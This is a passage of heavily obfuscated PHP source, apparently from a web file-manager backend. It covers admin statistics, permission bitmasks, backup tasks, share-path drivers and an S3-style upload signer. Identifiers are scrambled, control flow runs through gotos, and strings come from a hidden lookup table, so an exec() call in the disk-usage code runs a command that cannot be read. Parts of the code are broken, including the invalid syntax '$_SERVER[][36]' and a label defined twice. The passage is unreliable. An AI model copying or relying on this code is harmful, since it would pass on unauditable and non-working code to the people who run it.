= (int) date($E·[2033], strtotime($b߰)); $a杲Ņ = (int) date($E·[2033]); if ($b뎂 >= $a杲Ņ) { break; } for ($b뎂; $b뎂 < $a杲Ņ; $b뎂++) { $f޻[] = $b뎂 . $E·[2035]; } break; default: break; } if ($b߰ > end($f޻)) { array_pop($f޻); } sort($f޻); goto Dִ; d: $E· =& $_SERVER[ѽ]; $c = date($E·[2014], strtotime($E·[2015])); $f޻ = array($c); goto fנ; C: } public function listTable($B޵) { $d = ucfirst($B޵); return Model($d)->listData(); } public function option($E읛) { $D = $_SERVER[ѽ][2036] . ucfirst($E읛); return $this->{$D}(); } private function optionUser() { goto fܵ; e񠍟: $Fď = strtotime($C燿٭[2038]); $cƅ = array($C燿٭[2039] => array($C燿٭[934], $Fď)); $BŒ = (int) Model($C燿٭[473])->where($cƅ)->count($C燿٭[1417]); goto AՕ˫; fܵ: $C燿٭ =& $_SERVER[ѽ]; $Eᶽ = Model($C燿٭[473])->count($C燿٭[1417]); $eץ = Model($C燿٭[473])->where($C燿٭[2037])->count($C燿٭[1417]); goto e񠍟; AՕ˫: if (!$BŒ) { $BŒ = 1; } $Fď = strtotime(date($C燿٭[2018])); $cƅ = array($C燿٭[2039] => array($C燿٭[934], $Fď)); goto D; D: $Fȓ = Model($C燿٭[473])->where($cƅ)->count($C燿٭[1417]); return array($C燿٭[705] => (int) $Eᶽ, $C燿٭[2040] => (int) ($Eᶽ - $eץ), $C燿٭[2041] => (int) $eץ, $C燿٭[2042] => (int) $Fȓ, $C燿٭[2043] => $BŒ); goto f׼; f׼: } private function optionFile() { goto A꾹; Dߒ⑛: $a† = Model($f[762])->where($bؙ)->sum($f[77]); $e̋ = Model($f[762])->where($bؙ)->count($f[366]); return array($f[708] => $eًս, $f[2011] => $B듴, $f[2044] => $eًս - $B듴, $f[2045] => (int) $a†, $f[710] => (int) $cԥ, $f[2046] => (int) $e̋); goto c鄫; A꾹: $f =& $_SERVER[ѽ]; $aǸ = $this->sourceSize(); $eًս = $aǸ[$f[77]]; goto bž; bž: $B듴 = $aǸ[$f[2011]]; $cԥ = Model($f[762])->where(array($f[367] => 0))->count($f[366]); $bؙ = array($f[367] => 0, $f[184] => array($f[934], strtotime(date($f[2018])))); goto Dߒ⑛; c鄫: } private function optionAccess() { $aЎƠ =& $_SERVER[ѽ]; return array($aЎƠ[705] => $this->typeLogCnt(), $aЎƠ[91] => $this->typeLogCnt($aЎƠ[91]), $aЎƠ[400] => $this->typeLogCnt($aЎƠ[400]), $aЎƠ[2047] => $this->typeLogCnt($aЎƠ[2047]), $aЎƠ[2048] => $this->typeLogCnt($aЎƠ[2048]), $aЎƠ[531] => $this->typeLogCnt($aЎƠ[33], $aЎƠ[2022])); } private function typeLogCnt($aܤ = '', $fݵ = "\151\x64") { goto c; c: $ȅ =& $_SERVER[ѽ]; $fĂ = array($ȅ[91] => array($ȅ[2049], $ȅ[2050]), $ȅ[400] => array($ȅ[2051], $ȅ[2052]), $ȅ[2047] => array($ȅ[2053], $ȅ[2054]), $ȅ[2048] => array($ȅ[2055], $ȅ[2056]), $ȅ[2057] => array($ȅ[2058], $ȅ[2059], $ȅ[2060])); $Dָ = strtotime(date($ȅ[2018])); goto dشˆ; dشˆ: $c旟ݵ = array($ȅ[184] => array($ȅ[934], $Dָ)); if ($aܤ) { $c旟ݵ[$ȅ[29]] = array($ȅ[7], $fĂ[$aܤ]); } $Bג = Model($ȅ[2021])->where($c旟ݵ)->count($fݵ); goto Fֲ; Fֲ: return (int) $Bג; goto d囶; d囶: } private function optionServer() { goto Fщ; Fщ: $a̟ =& $_SERVER[ѽ]; $D = $this->diskDriver(); $EӍ = KodIO::defaultDriver(); goto Dԉ򂧇; Fªǣ: $BǓ = $b񧒬[0]; $A = $GLOBALS[$a̟[6]][$a̟[17]]; $cݢ‹۬ = $A[$a̟[894]]; goto Fセ; f磗: return array($a̟[2063] => $D ? $D[$a̟[2064]] : 0, $a̟[2065] => $D ? $D[$a̟[2066]] : 0, $a̟[2067] => (int) $EӍ[$a̟[2064]] * 1024 * 1024 * 1024, $a̟[2068] => (int) $aއ, $a̟[2069] => ucfirst($BǓ), $a̟[2070] => $a̟[2071] . PHP_VERSION, $a̟[2072] => phpBuild64() ? 64 : 32, $a̟[704] => str_replace($a̟[2073], $a̟[910], $cݢ‹۬), $a̟[334] => ucfirst($Eҹ), $a̟[28] => $_SERVER[$a̟[2074]]); goto D; Dԉ򂧇: $D = array($a̟[753] => $EӍ[$a̟[364]]); $aއ = Model($a̟[418])->where($D)->sum($a̟[77]); $b񧒬 = explode($a̟[50], $_SERVER[$a̟[138]]); goto Fªǣ; Fセ: if ($cݢ‹۬ == $a̟[734]) { $B؎ = explode($a̟[1080], $A[$a̟[893]]); $cݢ‹۬ = $B؎[0]; } if ($cݢ‹۬ == $a̟[737] || $cݢ‹۬ == $a̟[738]) { $eʪ = Model()->db()->query($a̟[2061]); $eǤΫ = $eʪ[0] && isset($eʪ[0][$a̟[1324]]) ? $eʪ[0][$a̟[1324]] : 0; $cݢ‹۬ = $a̟[2062] . ($eǤΫ ? $a̟[8] . $eǤΫ : $a̟[33]); } $Eҹ = $GLOBALS[$a̟[6]][$a̟[334]][$a̟[763]]; goto f磗; D: } private function diskDriver() { goto C; Fɕ緎: if ($Eߪ) { $Eܖ = $fņ׈[2077]; if (function_exists($fņ׈[2078])) { exec($fņ׈[2079], $dȆ峆); $Eܖ = $dȆ峆[1] . $fņ׈[8]; } } if (!file_exists($Eܖ)) { return; } $C = @disk_total_space($Eܖ); goto BꐫӨ; BꐫӨ: $b؝΋ = $C - @disk_free_space($Eܖ); return array($fņ׈[2064] => $C, $fņ׈[2066] => $b؝΋); goto E늰˾; C: $fņ׈ =& $_SERVER[ѽ]; $Eܖ = $fņ׈[8]; $Eߪ = $GLOBALS[$fņ׈[6]][$fņ׈[2075]] == $fņ׈[2076]; goto Fɕ緎; E늰˾: } public function fileChart($bՊ) { goto bNJ; aɴ: $E[$B[368]] = 2; $B = Model($B[762])->where($E)->sum($B[77]); return array($B[708] => $dӖ޴[$B[77]], $B[2011] => $dӖ޴[$B[2011]], $B[2012] => (int) $c泙, $B[2013] => (int) $B); goto CҼõ; A•: $dӖ޴ = $this->sourceSize(); $E = array($B[457] => 0, $B[368] => 1); $c泙 = Model($B[762])->where($E)->sum($B[77]); goto aɴ; bNJ: $B =& $_SERVER[ѽ]; if (isset($bՊ[$B[1417]])) { return Model($B[762])->userFileTypeProfile($bՊ[$B[1417]]); } if (isset($bՊ[$B[2080]])) { return Model($B[762])->groupFileTypeProfile($bՊ[$B[2080]]); } goto A•; CҼõ: } private function sourceSize() { $d =& $_SERVER[ѽ]; $AÐ = Model($d[762])->where(array($d[367] => 0))->sum($d[77]); $F퍂غ = Model($d[418])->sum($d[77]); if ($F퍂غ > $AÐ) { $F퍂غ = $AÐ; } return array($d[77] => (int) $AÐ, $d[2011] => (int) $F퍂غ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authDefault() { $C˜ڧ =& $_SERVER[ѽ]; $Bɐ = array(array($C˜ڧ[383] => LNG($C˜ڧ[2081]), $C˜ڧ[2082] => $C˜ڧ[2083], $C˜ڧ[2084] => 6, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($C˜ڧ[383] => LNG($C˜ڧ[2087]), $C˜ڧ[2082] => $C˜ڧ[2088], $C˜ڧ[2084] => 1, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($C˜ڧ[383] => LNG($C˜ڧ[2089]), $C˜ڧ[2082] => $C˜ڧ[2090], $C˜ڧ[2084] => 2, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($C˜ڧ[383] => LNG($C˜ڧ[2091]), $C˜ڧ[2082] => $C˜ڧ[2090], $C˜ڧ[2084] => 3, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($C˜ڧ[383] => LNG($C˜ڧ[2092]), $C˜ڧ[2082] => $C˜ڧ[2093], $C˜ڧ[2084] => 4, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => self::AUTH_SHOW | self::AUTH_VIEW), array($C˜ڧ[383] => LNG($C˜ڧ[2094]), $C˜ڧ[2082] => $C˜ڧ[2095], $C˜ڧ[2084] => 5, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($C˜ڧ[383] => LNG($C˜ڧ[2096]), $C˜ڧ[2082] => $C˜ڧ[2097], $C˜ڧ[2084] => 7, $C˜ڧ[2085] => 1, $C˜ڧ[2086] => 0)); return $Bɐ; } public static function authCheck($CʏΝ, $Aܰ) { $CʏΝ = intval($CʏΝ); if (_get($GLOBALS, $_SERVER[ѽ][453])) { return !0; } if ($CʏΝ <= 0) { return !1; } if (($CʏΝ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($CʏΝ & $Aܰ); } public static function authCheckShow($cӞ͟) { return self::authCheck($cӞ͟, self::AUTH_SHOW); } public static function authCheckView($C) { return self::authCheck($C, self::AUTH_VIEW); } public static function authCheckDownload($b) { return self::authCheck($b, self::AUTH_DOWNLOAD); } public static function authCheckUpload($cԽ) { return self::authCheck($cԽ, self::AUTH_UPLOAD); } public static function authCheckEdit($C) { return self::authCheck($C, self::AUTH_EDIT); } public static function authCheckRemove($C) { return self::authCheck($C, self::AUTH_REMOVE); } public static function authCheckShare($fۮ) { return self::authCheck($fۮ, self::AUTH_SHARE); } public static function authCheckComment($d) { return self::authCheck($d, self::AUTH_COMMENT); } public static function authCheckEvent($C۬) { return self::authCheck($C۬, self::AUTH_EVENT); } public static function authCheckRoot($b֖µ) { return self::authCheck($b֖µ, self::AUTH_ROOT); } public static function authDisable($eϭߌ, $aി) { if (intval($eϭߌ) <= 0) { return 0; } return intval($eϭߌ) & ~$aി; } public $optionType = "\x53\x79\163\x74\x65\155\56\x73\157\165\x72\x63\145\101\165\164\150\x4c\151\x73\x74"; public $field = array("\x6e\x61\155\x65", "\x61\165\x74\150", "\154\141\x62\145\x6c", "\144\151\x73\160\x6c\141\x79", "\163\171\x73\x74\145\155", "\163\157\x72\x74"); public function initData() { $d = $this->authDefault(); foreach ($d as $f) { $this->add($f); } } public function listData($dư = false, $bЦ = "\x73\157\x72\164", $bϼ֙ = false) { return parent::listData($dư, $bЦ, $bϼ֙); } public function update($d, $F) { $fѿ =& $_SERVER[ѽ]; $Bõޞ = parent::listData($d); $eର = $this->findByName($F[$fѿ[28]]); if (!$Bõޞ || $eର && $eର[$fѿ[364]] != $Bõޞ[$fѿ[364]]) { return !1; } $this->filterAuth($F[$fѿ[373]]); return parent::update($d, $F); } public function remove($C) { $f = parent::listData($C); if (!$f || $f[$_SERVER[ѽ][1084]]) { return !1; } return parent::remove($C); } public function add($Bٴ = array()) { goto Dϒ; b: return parent::insert($Bٴ); goto F; fڞ: $Bٴ = array_merge($F֣, $Bٴ); $Bٴ[$b[2101]] = $this->getSort(); $this->filterAuth($Bٴ[$b[373]]); goto b; Dϒ: $b =& $_SERVER[ѽ]; if ($this->findByName($Bٴ[$b[28]])) { return !1; } $F֣ = array($b[28] => $b[33], $b[373] => 1, $b[2098] => $b[2099], $b[2100] => 1, $b[1084] => 0, $b[2101] => 0); goto fڞ; F: } private function getSort() { $b =& $_SERVER[ѽ]; $bߞ = parent::listData(); $Aې = array_to_keyvalue($bߞ, $b[33], $b[2101]); return empty($Aې) ? 0 : max($Aې) + 1; } private function filterAuth(&$Eʏ) { goto fԒʋ; fԒʋ: if (!$Eʏ) { return; } $D쇪 = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $bۑ = array(); goto cߖ; Eıĭڇ: foreach ($bۑ as $E۱) { if (isset($D݄[$E۱])) { $bۑ = array_merge($bۑ, $D݄[$E۱]); } } $bۑ[] = self::AUTH_SHOW; $Eʏ = array_sum(array_unique($bۑ)); goto EႪ퇐; cߖ: foreach ($D쇪 as $E۱) { if ($Eʏ & $E۱) { $bۑ[] = $E۱; } } if (in_array(self::AUTH_ROOT, $bۑ)) { $Eʏ = array_sum($D쇪); return; } $D݄ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); goto Eıĭڇ; EႪ퇐: } public function sort($aƊ, $FԄ) { return parent::update($aƊ, $FԄ); } } class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\56\x62\141\143\153\x75\160\x4c\151\x73\x74"; public $field = array("\151\157", "\156\141\155\145", "\x73\164\x61\x74\165\x73", "\x63\157\156\x74\x65\x6e\x74", "\162\x65\x73\165\154\164", "\164\151\x6d\145\x46\x72\157\155", "\164\x69\155\x65\x54\x6f"); public function config() { goto F…; c׶: if (isset($F[$A¿[187]])) { $F[$A¿[187]] = json_decode($F[$A¿[187]], !0); } if (isset($E[$A¿[187]])) { $F[$A¿[187]][$A¿[1392]] = $E[$A¿[187]]; unset($E[$A¿[187]]); } return array_merge($F, $E); goto D歗; F…: $A¿ =& $_SERVER[ѽ]; $E = Model($A¿[1092])->get($A¿[722]); $E = json_decode($E, !0); goto DАɵ; DАɵ: $E = is_array($E) ? $E : array(); if (!isset($E[$A¿[702]])) { $E[$A¿[702]] = $A¿[464]; } $F = array(); goto dؓ; dؓ: Action($A¿[2102])->taskInit(); $Fɿ = Model($A¿[2103])->listData(); foreach ($Fɿ as $fӒͶ) { if ($fӒͶ[$A¿[1084]] == $A¿[83] && $fӒͶ[$A¿[1405]] == $A¿[2104]) { $F = $fӒͶ; break; } } goto c׶; D歗: } public function listData($aܩă = false, $FŲ = "\155\x6f\144\x69\146\171\x54\151\155\145", $F = false) { return parent::listData($aܩă, $FŲ, !0); } public function lastItem() { $f = $this->listData(); return !empty($f[0]) ? $f[0] : null; } public function kill($A) { goto c͏ݴ; Dۓ: return $this->remove($A); goto e; Eѻ: $Aȷ = $Eѱ[$F[28]]; $c = TEMP_FILES . $F[720] . $Aȷ . $F[8]; IO::remove($c, !1); goto Dۓ; c͏ݴ: $F =& $_SERVER[ѽ]; $Eѱ = $this->listData($A); if (!$Eѱ || empty($Eѱ[$F[28]])) { return !0; } goto aۢ; aۢ: Task::kill($F[721]); Task::kill($F[739]); Task::kill($F[746]); goto Eѻ; e: } public function remove($AŤ) { $F = $this->listData($AŤ); if (!$F) { return !0; } return $this->backupRemove($F); } private function backupRemove($f쬖о) { $E =& $_SERVER[ѽ]; parent::remove($f쬖о[$E[364]]); $A􏝂 = "\173\x69\157\x3a{$f쬖о[$E[701]]}\175\57\144\141\x74\x61\142\141\163\145\57\x62\141\x63\153\165\160\137" . $f쬖о[$E[28]]; IO::remove($A􏝂, !1); return !0; } public function start() { goto C݌; BֵП: return !0; goto f; C݌: $fɉ =& $_SERVER[ѽ]; if ($GLOBALS[$fɉ[6]][$fɉ[84]][$fɉ[2105]] != $fɉ[83]) { return !0; } $F = $this->config(); goto F; C敏: if (!$d->dbFile()) { return !1; } if ($F[$fɉ[702]] == $fɉ[464]) { $d->file(); } Backup::set(array($fɉ[699] => 1, $fɉ[713] => time())); goto BֵП; F: if (!$F || $F[$fɉ[1389]] != $fɉ[83]) { return !1; } $Eӻ泺 = $this->process(); foreach ($Eӻ泺 as $D̴Ӆ) { if ($D̴Ӆ) { return Task::restart($D̴Ӆ[$fɉ[364]]); } } goto D; D: $d = new Backup(); $d->keep(); if (!$d->db()) { return !1; } goto C敏; f: } public function process() { $Fݗ =& $_SERVER[ѽ]; return array($Fݗ[704] => Task::get($Fݗ[721]), $Fݗ[707] => Task::get($Fݗ[739]), $Fݗ[164] => Task::get($Fݗ[746])); } public function restore() { $D顖 =& $_SERVER[ѽ]; ActionCall($D顖[2106], !0, 1); ActionCall($D顖[2106], !0, 0); } } goto D; EǼ: register_shutdown_function($_SERVER[][36]); set_error_handler($_SERVER[][49], $d); if (function_exists($_SERVER[][50])) { set_exception_handler($_SERVER[][51]); } goto bՇ; Dܤ: class PathDriverDriverShareItem { public function __construct($C՜) { $this->pathParse = $C՜; } public function __call($eэ, $A) { $F흸 =& $_SERVER[ѽ]; if (method_exists($this, $eэ)) { return; } $D = call_user_func_array(array($F흸[1121], $eэ), $A); $Fݘ = array($F흸[1122], $F흸[1123], $F흸[1124], $F흸[1125], $F흸[486], $F흸[488], $F흸[1126], $F흸[91], $F흸[1127], $F흸[1128]); if (in_array($eэ, $Fݘ)) { $D = $this->getPathOuter($D); } return $D; } public function copy($E, $B, $bԜ = false) { return $this->copyMove($E, $B, $bԜ, $_SERVER[ѽ][486]); } public function move($fɗ, $fѦ, $eݘ媠 = false) { return $this->copyMove($fɗ, $fѦ, $eݘ媠, $_SERVER[ѽ][488]); } private function copyMove($b, $Aʑ, $dǻ, $D) { goto Dѩ; Dѩ: $cύ =& $_SERVER[ѽ]; $F͓ = $Aʑ; $e = IO::driverMake($Aʑ); goto e¡ܡ; c: return $C; goto D; e¡ܡ: if ($e->pathParse[$cύ[1002]]) { $Aʑ = $e->pathParse[$cύ[1002]]; } else { $Aʑ = $F͓; } $C = IO::copyMove($b, $Aʑ, $dǻ, $D); $C = $this->getPathOuter($C); goto c; D: } public function pathFather($Fǭϟ) { return get_path_father($this->pathParse[$_SERVER[ѽ][75]]); } public function iconvSystem($cĶ) { return $cĶ; } protected function infoParse($c뱛Җ) { $a =& $_SERVER[ѽ]; $Aፍ = $this->pathParse[$a[435]][$a[1022]] . $this->pathParse[$a[1015]]; $c̖ = IO::info($Aፍ); $Bߺ = $this->pathParse[$a[435]]; return Action($a[1120])->_shareItemeParse($c̖, $Bߺ); } public function listAll($d) { $fƓވ =& $_SERVER[ѽ]; $d≄ = IO::listAll($d); $BЊڪ = $this->pathParse[$fƓވ[435]]; foreach ($d≄ as &$D) { check_abort(); $D = array_merge(IO::info($D[$fƓވ[75]]), $D); $D[$fƓވ[388]] = Action($fƓވ[1120])->_shareItemeParse($D, $BЊڪ); } return $d≄; } public function getPathOuter($aԦǼ) { goto B֐; B֐: $fˢ =& $_SERVER[ѽ]; $Bڋ = KodIO::parse($aԦǼ); if ($Bڋ[$fˢ[29]] == KodIO::KOD_SHARE_ITEM) { return $Bڋ[$fˢ[75]]; } goto dũ壌; dũ壌: $Eۂӱ = KodIO::clear($aԦǼ); $e𵝍 = KodIO::clear($this->pathParse[$fˢ[435]][$fˢ[1022]]); $a = substr($Eۂӱ, strlen($e𵝍)); goto A׈֡; A׈֡: if (substr($Eۂӱ, 0, strlen($e𵝍)) != $e𵝍) { return !1; } return $this->pathParse[$fˢ[1016]] . $fˢ[8] . ltrim($a, $fˢ[8]); goto aꢻ; aꢻ: } public function getType() { $d¨ԡ =& $_SERVER[ѽ]; $a، = str_replace($d¨ԡ[71], $d¨ԡ[33], get_class($this)); return strtolower($a،); } public function isTypeObject($d) { return IO::isTypeObject($d); } public function info($AΪ) { return $this->infoParse($AΪ); } public function infoAuth($F炘) { return $this->infoParse($F炘); } public function infoWithChildren($A򐰄) { return $this->infoParse($A򐰄); } public function infoFull($e҉) { return $this->infoParse($e҉); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($cڟ) { $this->pathParse = $cڟ; } protected function infoParse($e) { $Fٌє =& $_SERVER[ѽ]; return Action($Fٌє[1021])->sharePathInfo($this->pathParse[$Fٌє[75]], !0); } public function listPath($b◌, $D = false) { $bϏ =& $_SERVER[ѽ]; $cΰ = IO::listPath($b◌, $D); foreach ($cΰ as $f => $Dͪ) { if (!in_array($f, array($bϏ[73], $bϏ[74]))) { continue; } foreach ($Dͪ as $eǍѸ => $c) { $c = Action($bϏ[1129])->parsePathChildren($c, array($bϏ[384] => $b◌)); $cΰ[$f][$eǍѸ] = Action($bϏ[1021])->shareItemInfo($c); } } return $cΰ; } public function listAll($f׎) { $Aҩ =& $_SERVER[ѽ]; $dӋ = IO::listAll($f׎); foreach ($dӋ as &$Eٻ֊) { $Eٻ֊ = array_merge(IO::info($Eٻ֊[$Aҩ[75]]), $Eٻ֊); $Eٻ֊[$Aҩ[388]] = Action($Aҩ[1021])->shareItemInfo($Eٻ֊); } return $dӋ; } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($d) { parent::__construct($d); $this->signatureVersion($_SERVER[ѽ][197]); } public function uploadFormData($bԶ, $E֌ = 3600) { goto fۏ; fԺό: $eؤ = hash_hmac($Eֿۃ[1140], $aڽ, $d, !0); $f곅Š = hash_hmac($Eֿۃ[1140], $a߼, $eؤ, !0); $b = hash_hmac($Eֿۃ[1140], $cׅ, $f곅Š); goto B; fۏ: $Eֿۃ =& $_SERVER[ѽ]; $Aۻ = $Eֿۃ[182]; $aƐԖ = $Eֿۃ[1130]; goto DǺ㉤; cӸ: $a߼ = $Eֿۃ[1132]; $Aҏ = $E֌ . $Eֿۃ[33]; $AǍ̺ = $Eֿۃ[1097]; goto FҞ; DǺ㉤: $aڽ = $Eֿۃ[59]; $B·γ = gmdate($Eֿۃ[1131]); $EҐʮӏ = gmdate($Eֿۃ[700]); goto cӸ; FҞ: $EԱ׺ = array($this->accessKey, $EҐʮӏ, $this->region, $aڽ, $a߼); $Fƃ = implode($Eֿۃ[8], $EԱ׺); $fޟ = array($Eֿۃ[1099] => gmdate($Eֿۃ[1098], strtotime($Eֿۃ[1133])), $Eֿۃ[1100] => array(array($Eֿۃ[1102] => $this->bucket), array($Eֿۃ[1101] => $Aۻ), array($Eֿۃ[1103], $Eֿۃ[1104], $Eֿۃ[33]), array($Eֿۃ[1103], $Eֿۃ[1134], $Eֿۃ[33]), array($Eֿۃ[1103], $Eֿۃ[1135], $Eֿۃ[33]), array($Eֿۃ[1105] => $AǍ̺), array($Eֿۃ[1136] => $Fƃ), array($Eֿۃ[1137] => $aƐԖ), array($Eֿۃ[1138] => $B·γ), array($Eֿۃ[1139] => $Aҏ))); goto B򌺔; B: $aԒǮ = array($Eֿۃ[196] => $Eֿۃ[33], $Eֿۃ[1142] => $Eֿۃ[33], $Eֿۃ[1101] => $Aۻ, $Eֿۃ[1105] => $AǍ̺, $Eֿۃ[1109] => $cׅ, $Eֿۃ[1143] => $Fƃ, $Eֿۃ[1144] => $aƐԖ, $Eֿۃ[1145] => $B·γ, $Eֿۃ[1146] => $Aҏ, $Eֿۃ[1147] => $b, $Eֿۃ[166] => $this->getHost()); return $aԒǮ; goto Eꊸ; B򌺔: $cׅ = base64_encode(json_encode($fޟ)); $dϖ = hash_hmac($Eֿۃ[1140], $EҐʮӏ, $Eֿۃ[1141] . $this->secret, !0); $d = hash_hmac($Eֿۃ[1140], $this->region, $dϖ, !0); goto fԺό; Eꊸ: } } goto e; F݃: class SourceListModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\157\165\162\143\x65"; protected $tableMeta = array("\x74\141\142\154\145\x4e\x61\x6d\x65" => "\x69\157\x5f\x73\x6f\165\x72\143\145\137\155\x65\x74\x61", "\x6d\x65\164\141\x46\x69\145\x6c\x64" => "\x73\157\165\x72\143\145\x49\104"); protected $dataAuto = array(array("\x6d\x6f\144\151\x66\x79\124\x69\155\x65", "\x74\151\x6d\x65", "\151\x6e\163\145\162\x74", "\x66\x75\x6e\x63\x74\x69\x6f\x6e"), array("\143\162\x65\x61\x74\145\x54\x69\x6d\145", "\x74\x69\x6d\145", "\151\156\x73\x65\x72\164", "\146\x75\156\x63\x74\151\157\x6e"), array("\166\x69\145\x77\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\x6e\x73\x65\x72\x74", "\146\165\156\x63\164\151\x6f\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($B) { return $this->listSource(array($_SERVER[ѽ][365] => $B)); } public function typeName($A׼) { static $EϸҊ = array(self::TYPE_SYSTEM => "\163\x79\x73\x74\145\x6d", self::TYPE_USER => "\165\x73\145\x72", self::TYPE_GROUP => "\x67\x72\x6f\x75\x70"); return $EϸҊ[$A׼ . $_SERVER[ѽ][33]]; } public function sourceListInfo($bͲ, $b = false) { goto Eϩ; C닖ۭ: return array_to_keyvalue($EȨϿ, $B̳Ռ[366]); goto C̠; Eϩ: $B̳Ռ =& $_SERVER[ѽ]; $bͲ = $bͲ ? $bͲ : array(); $bͲ = array_filter(array_unique($bͲ)); goto eފ; eފ: if (!$bͲ) { return array(); } $EȨϿ = $this->where(array($B̳Ռ[366] => array($B̳Ռ[7], $bͲ)))->select(); $this->_listDataApply($EȨϿ, $b); goto C닖ۭ; C̠: } public function pathInfoFilter($fܣڗ) { goto bď·; E: $fܣڗ[$Eڎ[368]] = $this->typeName($fܣڗ[$Eڎ[368]]); if ($fܣڗ[$Eڎ[367]] != 1) { $fܣڗ[$Eڎ[157]] = $fܣڗ[$Eڎ[369]]; unset($fܣڗ[$Eڎ[369]]); } $F = $Eڎ[370]; goto e㪧; bď·: $Eڎ =& $_SERVER[ѽ]; $fܣڗ[$Eڎ[75]] = KodIO::make($fܣڗ[$Eڎ[366]]); $fܣڗ[$Eڎ[29]] = $fܣڗ[$Eڎ[367]] == 1 ? $Eڎ[76] : $Eڎ[164]; goto E; e㪧: $F .= $Eڎ[371]; $F .= $Eڎ[372]; $dɾ = explode($Eڎ[47], $F); goto Eú; Eú: if (isset($fܣڗ[$Eڎ[373]]) && $fܣڗ[$Eڎ[373]][$Eڎ[374]] == -1) { $dɾ = array_remove_value($dɾ, $Eڎ[184]); $dɾ = array_remove_value($dɾ, $Eڎ[107]); $dɾ = array_remove_value($dɾ, $Eڎ[375]); $dɾ = array_remove_value($dɾ, $Eڎ[376]); $dɾ = array_remove_value($dɾ, $Eڎ[77]); $dɾ = array_remove_value($dɾ, $Eڎ[377]); } $fܣڗ = array_field_key($fܣڗ, $dɾ); return $fܣڗ; goto eޖ; eޖ: } public function listUserFav() { goto cژ; dͣҎ: foreach ($dϮ as &$b­) { $b­ = array($f[382] => $b­[$f[364]], $f[383] => $b­[$f[28]], $f[384] => $b­[$f[75]], $f[385] => $b­[$f[29]], $f[386] => $b­[$f[184]], $f[387] => $b­[$f[107]]); if ($b­[$f[29]] == $f[379] && $Bͅ[$b­[$f[75]]]) { $b­[$f[388]] = $Bͅ[$b­[$f[75]]]; } } return $dϮ; goto F쯦; cژ: $f =& $_SERVER[ѽ]; $dϮ = Model($f[378])->listData(); $fӋǓ = array_filter_by_field($dϮ, $f[29], $f[379]); goto Dǫ; Dǫ: $fӋǓ = array_to_keyvalue($fӋǓ, $f[33], $f[75]); if ($fӋǓ) { $Bͅ = $this->listSource(array($f[380] => array($f[381], $fӋǓ))); } $Bͅ = array_to_keyvalue($Bͅ[$f[351]], $f[366]); goto dͣҎ; F쯦: } public function listUserTag($Fχ) { goto A; A: $f뇏Ϋ =& $_SERVER[ѽ]; $Aۣ۞ = Model($f뇏Ϋ[389])->listData(); $d = array_filter_by_field($Aۣ۞, $f뇏Ϋ[390], $Fχ); goto a; D͒ċ: return $this->listSource($eٟ); goto a; a: $d = array_to_keyvalue($d, $f뇏Ϋ[33], $f뇏Ϋ[75]); if (!$d) { return array(); } $eٟ = array($f뇏Ϋ[380] => array($f뇏Ϋ[381], $d)); goto D͒ċ; a: } public function listUserRecycle() { $fڇ =& $_SERVER[ѽ]; $Eωݦ = Model($fڇ[391])->listData(); if (!$Eωݦ) { return array(); } $AՏ = array($fڇ[380] => array($fڇ[381], $Eωݦ), $fڇ[392] => 1); return $this->listSource($AՏ); } public function listSource($Cĥ, $Fහ = 3000) { goto e܋Â; e܋Â: $a랠 =& $_SERVER[ѽ]; if (!isset($Cĥ[$a랠[393]])) { $Cĥ[$a랠[393]] = 0; } $AŻ = $a랠[394]; goto bڴ; c: return $DĐϕ; goto C; bڴ: $DĐϕ = $this->field($AŻ)->_makeOrder()->where($Cĥ)->selectPage($Fහ); $this->_listDataApply($DĐϕ[$a랠[351]]); $this->_listMake($DĐϕ); goto c; C: } protected function _makeOrder() { goto E; DȰڌ: $CӨ = Input::get($aՌ[404], $aՌ[7], $f, array_keys($Bě)); if (!in_array($b, array_keys($D))) { $b = $aՌ[28]; } if (!in_array($CӨ, array_keys($Bě))) { $b = $aՌ[398]; } goto eֻ; E: $aՌ =& $_SERVER[ѽ]; $A䄨 = Model($aՌ[395])->get($aՌ[396]); $f = 